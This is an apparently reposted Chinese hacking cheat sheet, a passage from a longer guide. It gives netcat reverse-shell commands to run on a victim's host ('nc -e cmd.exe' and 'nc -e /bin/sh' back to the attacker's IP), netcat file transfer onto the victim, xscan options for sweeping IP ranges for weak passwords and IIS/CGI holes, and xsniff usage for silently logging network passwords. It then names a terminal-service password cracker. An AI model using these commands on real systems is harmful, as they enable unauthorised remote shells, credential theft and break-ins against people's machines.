在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K

nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙

本机上用:nc -d -l -p 本机端口 <要传送的文件路径及名称

在对方主机上用:nc -vv 本机IP 本机端口 >存放文件的路径及名称 传送文件到对方主机

备 注:

| 管道命令

<或 >重定向命令。"<",例如:tlntadmn <test.txt 指把test.txt的内容赋值给tlntadmn命令

@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >>d:log.txt 意思是:后台执行dir,并把结果

存在d:log.txt中

>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:winnt >>d:log.txt和@dir c:winnt >d:log.txt二个命令分别执行二次比较看:用>>的则

是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

八:

2、扫锚工具:xscan.exe

基本格式

xscan -host <起始IP>[-<终止IP>] <检测项目>[其他选项] 扫锚"起始IP到终止IP"段的所有主机信息

xscan -file <主机列表文件名><检测项目>[其他选项] 扫锚"主机IP列表文件名"中的所有主机信息

检测项目

-active 检测主机是否存活

-os 检测远程 *** 作系统类型(通过NETBIOS和SNMP协议)

-port 检测常用服务的端口状态

-ftp 检测FTP弱口令

-pub 检测FTP服务匿名用户写权限

-pop3 检测POP3-Server弱口令

-smtp 检测SMTP-Server漏洞

-sql 检测SQL-Server弱口令

-smb 检测NT-Server弱口令

-iis 检测IIS编码/解码漏洞

-cgi 检测CGI漏洞

-nasl 加载Nessus攻击脚本

-all 检测以上所有项目

其它选项

-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取

-l 显示所有网络适配器

-v 显示详细扫描进度

-p 跳过没有响应的主机

-o 跳过没有检测到开放端口的主机

-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10

-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测

192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测

192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端

口的主机

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列

出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

九:

3、命令行方式嗅探器: xsniff.exe

可捕获局域网内FTP/SMTP/POP3/HTTP协议密码

参数说明

-tcp 输出TCP数据报

-udp 输出UDP数据报

-icmp 输出ICMP数据报

-pass 过滤密码信息

-hide 后台运行

-host 解析主机名

-addr IP地址 过滤IP地址

-port 端口 过滤端口

-log 文件名 将输出保存到文件

-asc 以ASCII形式输出

-hex 以16进制形式输出

用法示例

xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以

ASCII格式输出

4、终端服务密码破解: tscrack.exe


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/zaji/5898487.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-03-07
下一篇2023-03-07

发表评论

登录后才能评论

评论列表(0条)

    保存